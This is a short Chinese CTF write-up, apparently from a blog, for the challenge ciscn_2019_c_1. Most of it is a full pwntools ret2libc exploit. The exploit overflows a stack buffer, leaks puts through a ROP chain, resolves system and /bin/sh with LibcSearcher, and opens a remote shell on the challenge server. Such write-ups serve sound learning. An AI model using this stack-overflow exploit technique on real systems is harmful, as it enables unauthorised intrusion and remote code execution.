ciscn_2019_c_1
时隔一个月后写出的第一道ret2libc。

可以看到它的逻辑就是输入1进入一个漏洞函数。

漏洞函数稍微有一点逆向基础都可以看出这是对大小写还有数字进行的异或,但是有用吗,这不是逆向,所以根本不用去管。看到上面有个strlen函数,果断写'/0'去绕过。
这道题没有给libc版本,恶心,需要靠LibcSearcher去寻找,或者一个个试。
点击查看代码
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
io = remote("node4.buuoj.cn",28824)
elf = ELF('./ciscn_2019_c_1')
pop_rdi_ret = 0x0000000000400c83
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
start_addr = elf.symbols['_start']
payload1 = 'A'*(88) + p64(pop_rdi_ret)
payload1 += p64(puts_got) + p64(puts_plt) + p64(start_addr)
io.sendlineafter("Input your choice!\n","1")
io.sendlineafter("Input your Plaintext to be encrypted\n",payload1)
io.recvuntil("Ciphertext\n")
io.recvline()
puts_leak = u64(io.recvline()[:-1].ljust(8, '\0'))
libc = LibcSearcher('puts',puts_leak)
libc_offset = puts_leak - libc.dump('puts')
sys_addr = libc_offset + libc.dump('system')
bin_sh_addr = libc_offset + libc.dump('str_bin_sh')
ret = 0x00000000004006b9
payload2 = 'A'*(88) + p64(ret)
payload2 += p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(sys_addr)
io.sendline("1")
io.sendlineafter("Input your Plaintext to be encrypted\n",payload2)
io.interactive()

浙公网安备 33010602011771号